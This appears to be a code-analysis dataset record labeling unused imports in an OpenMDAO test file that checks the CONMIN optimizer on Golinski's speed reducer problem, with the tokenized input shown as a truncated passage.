query_name
stringlengths
13
55
code_file_path
stringlengths
14
194
context_blocks
list
answer_spans
list
supporting_fact_spans
list
example_type
int8
0
1
single_hop
bool
2 classes
subtokenized_input_sequence
list
label_sequence
list
Unused import
OpenMDAO/OpenMDAO-Framework/openmdao.lib/src/openmdao/lib/drivers/test/test_opt_golinski.py
[ { "content": "\"\"\"\nTest the CONMIN optimizer component\n used Golinski's speed reducer problem\n\"\"\"\n\nimport pkg_resources\nimport sys\nimport unittest\nimport numpy\n\nfrom openmdao.main.datatypes.api import Float, Array\n\n# pylint: disable-msg=F0401,E0611\nfrom openmdao.main.api import Component, Assembly, set_as_top\nfrom openmdao.main.eggchecker import check_save_load\nfrom openmdao.lib.drivers.conmindriver import CONMINdriver\nfrom openmdao.util.testutil import assert_rel_error\n\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n import nose\n sys.argv.append('--cover-package=openmdao')\n sys.argv.append('--cover-erase')\n nose.runmodule()\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class OptGolinskiComponent(Component):\n \"\"\" From the University of Buffalo MDO Test Suite Problem 2.4\n EXAMPLE - Golinski's Speed Reducer Test Problem\n (Minimize the speed reducer weight with\n 7 design variables X(1)-X(7) with upper & lower bounds\n of a gear box.\n\n MINIMIZE OBJ = 0.7854*X(1)*X(2)**2 * (3.3333*X(3)**2 +\n 14.9334*X(3) - 43.0934) -\n 1.5079*X(1) * (X(6)**2 + X(7)**2) +\n 7.477 * (X(6)**3 + X(7)**3) +\n 0.7854 * (X(4)*X(6)**2 + X(5) * X(7)**2)\n\n with variable bounds as:\n Width of gear face X(1) in cm\n 2.6 <= X(1) <= 3.6\n teeth module X(2) in cm\n 0.7 <= X(2) <= 0.8\n number of pinion teeth X(3)\n 17 <= X(3) <= 28\n shaft 1 length between bearings X(4) in cm\n 7.3 <= X(4) <= 8.3\n shaft 2 length between bearings X(5) in cm\n 7.3 <= X(5) <= 8.3\n diameter of shaft 1 X(6) in cm\n 2.9 <= X(6) <= 3.9\n diameter of shaft 2 X(7) in cm\n 5.0 <= X(7) <= 5.5\n\n Subject to:\n\n G(1) = 27.0 / (X(1) * X(2)**2 * X(3) ) .LE. 1.0\n\n G(2) = 397.5 / ( X(1) * X(2)**2 * X(3)**2 ) .LE. 1.0\n\n G(3) = 1.93 * X(4)**3 /( X(2) * X(3)* X(6)**4) .LE. 1.0\n\n G(4) = 1.93 * X(5)**3 /( X(2) * X(3)* X(7)**4) .LE. 1.0\n\n G(5) = SQRT((745.0 * X(4)/ ( X(2) * X(3))**2 + 16.9 * 1.0e6 ) /\n (110.0 * X(6)**3) .LE. 1.0\n\n G(6) = SQRT((745.0 * X(5)/ ( X(2) * X(3))**2 + 157.5 * 1.0e6 ) /\n (85.0 * X(7)**3) .LE. 1.0\n\n G(7) = (X(2) * X(3) )/40.0 .LE. 1.0\n\n G(8) = 5.0 * X(2) / X(1) .LE. 1.0\n\n G(9) = X(1) / (12.0 *X(2) ) .LE. 1.0\n\n G(10) = 2.6 / X(1) .LE. 1.0\n\n G(11) = X(1) / 3.6 .LE. 1.0\n\n G(12) = 0.7 / X(2) .LE. 1.0\n\n G(13) = X(2) / 0.8 .LE. 1.0\n\n G(14) = 17.0 / X(3) .LE. 1.0\n\n G(15) = X(3) / 28.0 .LE. 1.0\n\n G(16) = 7.3 / X(4) .LE. 1.0\n\n G(17) = X(4) / 8.3 .LE. 1.0\n\n G(18) = 7.3 / X(5) .LE. 1.0\n\n G(19) = X(5) / 8.3 .LE. 1.0\n\n G(20) = 2.9 / X(6) .LE. 1.0\n\n G(21) = X(6) / 3.9 .LE. 1.0\n\n G(22) = 5.0 / X(7) .LE. 1.0\n\n G(23) = X(7) / 5.5 .LE. 1.0\n\n G(24) = (1.5 * X(6) + 1.9 ) / X(4) .LE. 1.0\n\n G(25) = (1.1 * X(7) + 1.9 ) / X(5) .LE. 1.0\n\n note: G(10) and G(11) are side constraints of X(1)\n G(12) and G(13) are side constraints of X(2)\n G(14) and G(15) are side constraints of X(3)\n G(16) and G(17) are side constraints of X(4)\n G(18) and G(19) are side constraints of X(5)\n G(20) and G(21) are side constraints of X(6)\n G(22) and G(23) are side constraints of X(7)\n\n This problem is solved by 2 step process:\n\n 1. Low Level optimization for X(1), X(6) and X(7)\n\n 2. High Level (using Conmin) for X(2), X(3), X(4), X(5)\n\n X = (3.3,0.59,25.0,7.9,7.599999,3.0,5.0999999)\n The optimum design is known to be\n OBJ = 0.2985138e+04\n and the corresponding X-vector is\n X = (3.5,0.7,17.0,7.3,7.3,3.35,5.286518)\n \"\"\"\n\n x = Array(iotype='in',dtype=numpy.float)\n result = Float(0., iotype='out')\n\n # pylint: disable-msg=C0103\n", "metadata": "root.OptGolinskiComponent", "header": "['module', '___EOS___']", "index": 20 }, { "content": " def __init__(self):\n super(OptGolinskiComponent, self).__init__()\n self.x = numpy.array([3.3,0.70,25.0,7.9,7.5999999,3.0,5.09999999],dtype=float)\n # self.x = numpy.array([3.3,0.589999970,25.0,7.9,7.5999999,3.0,5.09999999],dtype=float)\n # self.x = numpy.array([3.5,0.700,17.0,7.3,7.7153201,3.50215,5.2866545],dtype=float)\n\n self.opt_objective = 0.29851384e+04\n self.opt_design_vars = [3.3,0.7,17.0,7.3,7.3,3.35020,5.2865]", "metadata": "root.OptGolinskiComponent.__init__", "header": "['class', 'OptGolinskiComponent', '(', 'Component', ')', ':', '___EOS___']", "index": 128 }, { "content": " def execute(self):\n \"\"\"calculate the new objective value\"\"\"\n # print ' Executing objective expression******'\n cf = [0.7854, 3.3333, 14.9334, 43.09340, 1.508, 7.477 ]\n self.result = (cf[0]*self.x[0]*self.x[1]*self.x[1] * (cf[1]*self.x[2]*self.x[2] + cf[2]*self.x[2] - cf[3])\n - cf[4]*self.x[0]*(self.x[5]*self.x[5]+self.x[6]*self.x[6])\n + cf[5]*(self.x[5]*self.x[5]*self.x[5]+self.x[6]*self.x[6]*self.x[6])\n + cf[0]*(self.x[3]*self.x[5]*self.x[5]+self.x[4]*self.x[6]*self.x[6]) )", "metadata": "root.OptGolinskiComponent.execute", "header": "['class', 'OptGolinskiComponent', '(', 'Component', ')', ':', '___EOS___']", "index": 137 }, { "content": "class GolinskiTestCase(unittest.TestCase):\n \"\"\"test CONMIN optimizer component\"\"\"\n\n\n\n\n\n\n# optimize x[0] ..............\n\n\n# optimize x[5] ..............\n\n\n# optimize x[6] ..............\n", "metadata": "root.GolinskiTestCase", "header": "['module', '___EOS___']", "index": 148 }, { "content": " def setUp(self):\n self.top = set_as_top(Assembly())\n self.top.add('driver', CONMINdriver())\n self.top.add('comp', OptGolinskiComponent())\n self.top.driver.workflow.add('comp')\n self.top.driver.iprint = 0\n self.top.driver.itmax = 30", "metadata": "root.GolinskiTestCase.setUp", "header": "['class', 'GolinskiTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 152 }, { "content": " def tearDown(self):\n self.top = None", "metadata": "root.GolinskiTestCase.tearDown", "header": "['class', 'GolinskiTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 161 }, { "content": " def getx0(self, g11, g12):\n x00 = self.top.comp.x[0] = max(27.0 /(g11 * g11 * g12) ,\n 397.5 /(g11*g11 * g12*g12) ,\n 5.0 * g11 ,\n 2.6 )\n return x00", "metadata": "root.GolinskiTestCase.getx0", "header": "['class', 'GolinskiTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 166 }, { "content": " def getx5(self, g11, g12, g13):\n A1 = (((745.0 * g13) /(g11*g12))**2 + 0.169*1.0e08)**0.5\n g21 = (A1 / (1100.0*0.1) )**(1.0/3.0)\n g22 = (1.93 * g13 * g13 * g13 / (g11 * g12))**0.25\n g23 = 2.9\n\n x05 = max(g21, g22, g23)\n return x05", "metadata": "root.GolinskiTestCase.getx5", "header": "['class', 'GolinskiTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 175 }, { "content": " def getx6(self, g11, g12, g14):\n A2 = (((745.0 * g14) /(g11*g12))**2 + 0.1575*1.0e09)**0.5\n g31 = (A2 /(850.0*0.1))**(1.0/3.0)\n g32 = (1.93*g14*g14*g14 /(g11 * g12))**0.25\n g33 = 5.0\n x06 = max(g31, g32, g33)\n return x06", "metadata": "root.GolinskiTestCase.getx6", "header": "['class', 'GolinskiTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 186 }, { "content": " def test_opt1(self):\n # Golinski optimization using CONMIN\n\n self.top.driver.add_objective('comp.result')\n #\n # maximize x[0] value\n iter = 1\n self.top.driver.add_parameter('comp.x[1]',.7,.8)\n self.top.driver.add_parameter('comp.x[2]',17.,28.)\n self.top.driver.add_parameter('comp.x[3]',7.3,8.3)\n self.top.driver.add_parameter('comp.x[4]',7.3,8.3)\n # 25 CONSTRAINTS defined in the problem\n # reduced to 1 constraint\n self.top.driver.add_constraint('40.0/(comp.x[2] * comp.x[3]) > 1.0')\n while iter < 4:\n # print 'iter ',iter\n g00 = self.top.comp.x[0]\n g11 = self.top.comp.x[1]\n g12 = self.top.comp.x[2]\n g13 = self.top.comp.x[3]\n g14 = self.top.comp.x[4]\n g15 = self.top.comp.x[5]\n g16 = self.top.comp.x[6]\n # print 'starting initial design variables ****** x0 to x6'\n # print g00, g11, g12, g13, g14, g15, g16\n self.top.comp.set('x[0]', self.getx0(g11, g12))\n self.top.comp.set('x[5]', self.getx5(g11, g12, g13))\n self.top.comp.set('x[6]', self.getx6(g11, g12, g14))\n # print ' *********************************'\n # print ' *********************************'\n # pylint: disable-msg=C0301\n\n # print ' before run values ..x0 - x6...'\n # print 'x0 = ', self.top.comp.x[0]\n # print 'x1 = ', self.top.comp.x[1]\n # print 'x2 = ', self.top.comp.x[2]\n # print 'x3 = ', self.top.comp.x[3]\n # print 'x4 = ', self.top.comp.x[4]\n # print 'x5 = ', self.top.comp.x[5]\n # print 'x6 = ', self.top.comp.x[6]\n self.top.run()\n # print 'New values after CONMIN optimization **********'\n # print 'x0 = ', self.top.comp.x[0]\n # print 'x1 = ', self.top.comp.x[1]\n # print 'x2 = ', self.top.comp.x[2]\n # print 'x3 = ', self.top.comp.x[3]\n # print 'x4 = ', self.top.comp.x[4]\n # print 'x5 = ', self.top.comp.x[5]\n # print 'x6 = ', self.top.comp.x[6]\n\n # print ' *********************************'\n # print ' *********************************'\n # print 'Obj FUNCTION Val = ', self.top.comp.result\n iter = iter +1\n\n #print 'Obj FUNCTION Val = ', self.top.comp.result\n # pylint: disable-msg=E1101\n assert_rel_error(self, self.top.comp.opt_objective, \\\n self.top.driver.eval_objective(), 0.01)\n assert_rel_error(self, self.top.comp.opt_design_vars[1], \\\n self.top.comp.x[1], 0.1)\n assert_rel_error(self, self.top.comp.opt_design_vars[2], \\\n self.top.comp.x[2], 0.01)\n assert_rel_error(self, self.top.comp.opt_design_vars[3], \\\n self.top.comp.x[3], 0.01)\n assert_rel_error(self, self.top.comp.opt_design_vars[4], \\\n self.top.comp.x[4], 0.05)", "metadata": "root.GolinskiTestCase.test_opt1", "header": "['class', 'GolinskiTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 194 } ]
[ { "span": "import pkg_resources", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 20 }, { "span": "from openmdao.main.eggchecker import check_save_load", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 52 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "Test", " ", "the", " ", "CON", "MIN", " ", "optimize", "r", " ", "component", "\\", "10", ";", " ", "used", " ", "Gol", "ins", "ki", "'", "s", " ", "speed", " ", "reducer", " ", "problem", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "pkg", "\\u", "resources_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "openm", "dao_", "._", "main_", "._", "datatypes_", "._", "api_", "import_", "Float_", ",_", "Array_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pylint", ":", " ", "disable", "-", "msg", "=", "F0", "401", ",", "E0", "611", "_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "openm", "dao_", "._", "main_", "._", "api_", "import_", "Component_", ",_", "Asse", "mbly", "_", ",_", "set\\u", "as", "\\u", "top_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openm", "dao_", "._", "main_", "._", "egg", "checker_", "import_", "check", "\\u", "save", "\\u", "load_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openm", "dao_", "._", "lib_", "._", "drivers_", "._", "con", "mind", "river", "_", "import_", "CON", "MIN", "driver_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openm", "dao_", "._", "util_", "._", "testu", "til_", "import_", "assert", "\\u", "rel", "\\u", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "nose_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "argv_", "._", "append_", "(_", "'--", "cover", "-", "package", "=", "openm", "dao", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "argv_", "._", "append_", "(_", "'--", "cover", "-", "erase", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nose_", "._", "run", "module_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Opt", "Gol", "ins", "ki", "Component_", "(_", "Component_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Fro", "m", " ", "the", " ", "Univers", "it", "y", " ", "of", " ", "Buff", "alo", " ", "MD", "O", " ", "Test", " ", "Suit", "e", " ", "Prob", "lem", " ", "2.4", "\\", "10", ";", " ", " ", " ", " ", "EXAMPLE", " ", " ", " ", "-", " ", "Gol", "ins", "ki", "'", "s", " ", "Spee", "d", " ", "Reduce", "r", " ", "Test", " ", "Prob", "lem", "\\", "10", ";", " ", " ", " ", " ", "(", "Minimiz", "e", " ", "the", " ", "speed", " ", "reducer", " ", "weight", " ", "with", "\\", "10", ";", " ", " ", " ", " ", " ", "7", " ", "design", " ", "variab", "les", " ", "X", "(", "1", ")-", "X", "(", "7", ")", " ", "with", " ", "upper", " ", "&", " ", "lower", " ", "bound", "s", "\\", "10", ";", " ", " ", " ", " ", " ", "of", " ", "a", " ", "gear", " ", "box", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", "MINIM", "IZE", " ", "OBJ", " ", "=", " ", "0.78", "5", "4", "*", "X", "(", "1", ")*", "X", "(", "2", ")**", "2", " ", "*", " ", "(", "3.3", "333", "*", "X", "(", "3", ")**", "2", " ", " ", "+", "\\", "10", ";", " ", " ", "14.", "933", "4", "*", "X", "(", "3", ")", " ", "-", " ", "43.", "093", "4", ")", " ", "-", "\\", "10", ";", " ", " ", "1.5", "079", "*", "X", "(", "1", ")", " ", "*", " ", "(", "X", "(", "6", ")**", "2", " ", "+", " ", "X", "(", "7", ")**", "2", ")", " ", "+", "\\", "10", ";", " ", " ", "7.4", "7", "7", " ", "*", " ", "(", "X", "(", "6", ")**", "3", " ", "+", " ", "X", "(", "7", ")**", "3", ")", " ", "+", "\\", "10", ";", " ", " ", "0.78", "5", "4", " ", "*", " ", "(", "X", "(", "4", ")*", "X", "(", "6", ")**", "2", " ", "+", " ", "X", "(", "5", ")", " ", "*", " ", "X", "(", "7", ")**", "2", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", "with", " ", "variab", "le", " ", "bound", "s", " ", "as", ":", "\\", "10", ";", " ", " ", " ", " ", "Wid", "th", " ", "of", " ", "gear", " ", "face", " ", "X", "(", "1", ")", " ", " ", "in", " ", "cm", "\\", "10", ";", " ", " ", " ", " ", "2.6", " ", "<=", " ", "X", "(", "1", ")", " ", "<=", " ", "3.6", "\\", "10", ";", " ", " ", " ", " ", "tee", "th", " ", "module", " ", " ", "X", "(", "2", ")", " ", " ", " ", "in", " ", "cm", "\\", "10", ";", " ", " ", " ", " ", "0.", "7", " ", "<=", " ", "X", "(", "2", ")", " ", "<=", " ", "0.", "8", "\\", "10", ";", " ", " ", " ", " ", "number", " ", "of", " ", "pin", "ion", " ", "tee", "th", " ", "X", "(", "3", ")", "\\", "10", ";", " ", " ", " ", " ", "1", "7", " ", " ", "<=", " ", "X", "(", "3", ")", " ", "<=", " ", "2", "8", "\\", "10", ";", " ", " ", " ", " ", "sha", "ft", " ", "1", " ", "length", " ", "bet", "ween", " ", "bearing", "s", " ", "X", "(", "4", ")", " ", "in", " ", "cm", "\\", "10", ";", " ", " ", " ", " ", "7.3", " ", "<=", " ", "X", "(", "4", ")", " ", "<=", " ", "8.3", "\\", "10", ";", " ", " ", " ", " ", "sha", "ft", " ", "2", " ", "length", " ", "bet", "ween", " ", "bearing", "s", " ", "X", "(", "5", ")", " ", "in", " ", "cm", "\\", "10", ";", " ", " ", " ", " ", "7.3", " ", "<=", " ", "X", "(", "5", ")", " ", "<=", " ", "8.3", "\\", "10", ";", " ", " ", " ", " ", "diam", "eter", " ", "of", " ", "sha", "ft", " ", "1", " ", "X", "(", "6", ")", " ", " ", "in", " ", "cm", "\\", "10", ";", " ", " ", " ", " ", "2.9", " ", "<=", " ", "X", "(", "6", ")", " ", "<=", " ", "3.9", "\\", "10", ";", " ", " ", " ", " ", "diam", "eter", " ", "of", " ", "sha", "ft", " ", "2", " ", "X", "(", "7", ")", " ", " ", "in", " ", "cm", "\\", "10", ";", " ", " ", " ", " ", "5.0", " ", "<=", " ", "X", "(", "7", ")", " ", "<=", " ", "5.5", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", "Sub", "ject", " ", "to", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "1", ")", " ", "=", " ", "27.", "0", " ", "/", " ", "(", "X", "(", "1", ")", " ", "*", " ", "X", "(", "2", ")**", "2", " ", "*", " ", "X", "(", "3", ")", " ", ")", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "2", ")", " ", "=", " ", "397", ".5", " ", "/", " ", "(", " ", "X", "(", "1", ")", " ", "*", " ", "X", "(", "2", ")**", "2", " ", "*", " ", "X", "(", "3", ")**", "2", " ", ")", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "3", ")", " ", "=", " ", "1.9", "3", " ", "*", " ", "X", "(", "4", ")**", "3", " ", "/(", " ", "X", "(", "2", ")", " ", "*", " ", "X", "(", "3", ")*", " ", "X", "(", "6", ")**", "4", ")", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "4", ")", " ", "=", " ", "1.9", "3", " ", "*", " ", "X", "(", "5", ")**", "3", " ", "/(", " ", "X", "(", "2", ")", " ", "*", " ", "X", "(", "3", ")*", " ", "X", "(", "7", ")**", "4", ")", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "5", ")", " ", "=", " ", "SQ", "RT", "((", "745", ".0", " ", "*", " ", "X", "(", "4", ")/", " ", "(", " ", "X", "(", "2", ")", " ", "*", " ", "X", "(", "3", "))", "**", "2", " ", "+", " ", "16.", "9", " ", "*", " ", "1.0", "e", "6", " ", ")", " ", "/", "\\", "10", ";", " ", " ", " ", "(", "110", ".0", " ", "*", " ", "X", "(", "6", ")**", "3", ")", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "6", ")", " ", "=", " ", "SQ", "RT", "((", "745", ".0", " ", "*", " ", "X", "(", "5", ")/", " ", "(", " ", "X", "(", "2", ")", " ", "*", " ", "X", "(", "3", "))", "**", "2", " ", "+", " ", "157", ".5", " ", "*", " ", "1.0", "e", "6", " ", ")", " ", "/", "\\", "10", ";", " ", " ", " ", "(", "85", ".0", " ", "*", " ", "X", "(", "7", ")**", "3", ")", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "7", ")", " ", "=", " ", "(", "X", "(", "2", ")", " ", "*", " ", "X", "(", "3", ")", " ", ")/", "40.0", " ", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "8", ")", " ", "=", " ", "5.0", " ", "*", " ", "X", "(", "2", ")", " ", "/", " ", "X", "(", "1", ")", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "9", ")", " ", "=", " ", "X", "(", "1", ")", " ", "/", " ", "(", "12.", "0", " ", "*", "X", "(", "2", ")", " ", ")", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "10", ")", " ", "=", " ", "2.6", " ", "/", " ", "X", "(", "1", ")", " ", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "11", ")", " ", "=", " ", "X", "(", "1", ")", " ", "/", " ", "3.6", " ", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "1", "2", ")", " ", "=", " ", "0.", "7", " ", "/", " ", "X", "(", "2", ")", " ", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "13", ")", " ", "=", " ", "X", "(", "2", ")", " ", "/", " ", "0.", "8", " ", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "14", ")", " ", "=", " ", "17.", "0", " ", "/", " ", "X", "(", "3", ")", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "15", ")", " ", "=", " ", "X", "(", "3", ")", " ", "/", " ", "28.", "0", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "16", ")", " ", "=", " ", "7.3", " ", "/", " ", "X", "(", "4", ")", " ", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "1", "7", ")", " ", "=", " ", "X", "(", "4", ")", " ", "/", " ", "8.3", " ", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "1", "8", ")", " ", "=", " ", "7.3", " ", "/", " ", "X", "(", "5", ")", " ", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "1", "9", ")", " ", "=", " ", "X", "(", "5", ")", " ", "/", " ", "8.3", " ", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "20", ")", " ", "=", " ", "2.9", " ", "/", " ", "X", "(", "6", ")", " ", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "21", ")", " ", "=", " ", "X", "(", "6", ")", " ", "/", " ", "3.9", " ", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "2", "2", ")", " ", "=", " ", "5.0", " ", "/", " ", "X", "(", "7", ")", " ", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "23", ")", " ", "=", " ", "X", "(", "7", ")", " ", "/", " ", "5.5", " ", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "24", ")", " ", "=", " ", "(", "1.5", " ", "*", " ", "X", "(", "6", ")", " ", "+", " ", "1.9", " ", ")", " ", "/", " ", "X", "(", "4", ")", " ", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "G", "(", "25", ")", " ", "=", " ", "(", "1.1", " ", "*", " ", "X", "(", "7", ")", " ", "+", " ", "1.9", " ", ")", " ", "/", " ", "X", "(", "5", ")", " ", " ", " ", ".", "LE", ".", " ", "1.0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "note", ":", " ", "G", "(", "10", ")", " ", "and", " ", "G", "(", "11", ")", " ", "are", " ", "side", " ", "constraint", "s", " ", "of", " ", "X", "(", "1", ")", "\\", "10", ";", " ", " ", "G", "(", "1", "2", ")", " ", "and", " ", "G", "(", "13", ")", " ", "are", " ", "side", " ", "constraint", "s", " ", "of", " ", "X", "(", "2", ")", "\\", "10", ";", " ", " ", "G", "(", "14", ")", " ", "and", " ", "G", "(", "15", ")", " ", "are", " ", "side", " ", "constraint", "s", " ", "of", " ", "X", "(", "3", ")", "\\", "10", ";", " ", " ", "G", "(", "16", ")", " ", "and", " ", "G", "(", "1", "7", ")", " ", "are", " ", "side", " ", "constraint", "s", " ", "of", " ", "X", "(", "4", ")", "\\", "10", ";", " ", " ", "G", "(", "1", "8", ")", " ", "and", " ", "G", "(", "1", "9", ")", " ", "are", " ", "side", " ", "constraint", "s", " ", "of", " ", "X", "(", "5", ")", "\\", "10", ";", " ", " ", "G", "(", "20", ")", " ", "and", " ", "G", "(", "21", ")", " ", "are", " ", "side", " ", "constraint", "s", " ", "of", " ", "X", "(", "6", ")", "\\", "10", ";", " ", " ", "G", "(", "2", "2", ")", " ", "and", " ", "G", "(", "23", ")", " ", "are", " ", "side", " ", "constraint", "s", " ", "of", " ", "X", "(", "7", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "problem", " ", "is", " ", "solved", " ", "by", " ", "2", " ", "step", " ", "process", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "1", ".", " ", " ", "Lo", "w", " ", "Leve", "l", " ", "optimization", " ", "for", " ", "X", "(", "1", "),", " ", "X", "(", "6", ")", " ", "and", " ", "X", "(", "7", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "2", ".", " ", " ", "Hig", "h", " ", "Leve", "l", " ", "(", "usi", "ng", " ", "Con", "min", ")", " ", "for", " ", "X", "(", "2", "),", " ", "X", "(", "3", "),", " ", "X", "(", "4", "),", " ", "X", "(", "5", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", "X", " ", "=", " ", "(", "3.3", ",", "0.59", ",", "25.0", ",", "7.9", ",", "7.5", "9999", "9", ",", "3.0", ",", "5.0", "999999", ")", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "optim", "um", " ", "design", " ", "is", " ", "know", "n", " ", "to", " ", "be", "\\", "10", ";", " ", " ", " ", " ", " ", "OBJ", " ", "=", " ", "0.29", "851", "3", "8e", "+0", "4", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "the", " ", "correspond", "ing", " ", "X", "-", "vector", " ", "is", "\\", "10", ";", " ", " ", " ", " ", " ", "X", " ", "=", " ", "(", "3.5", ",", "0.", "7", ",", "17.", "0", ",", "7.3", ",", "7.3", ",", "3.3", "5", ",", "5.2", "865", "1", "8", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "=_", "Array_", "(_", "iot", "ype_", "=_", "'", "in", "'_", ",_", "dtype_", "=_", "numpy_", "._", "float_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "Float_", "(_", "0._", ",_", "iot", "ype_", "=_", "'", "out", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pylint", ":", " ", "disable", "-", "msg", 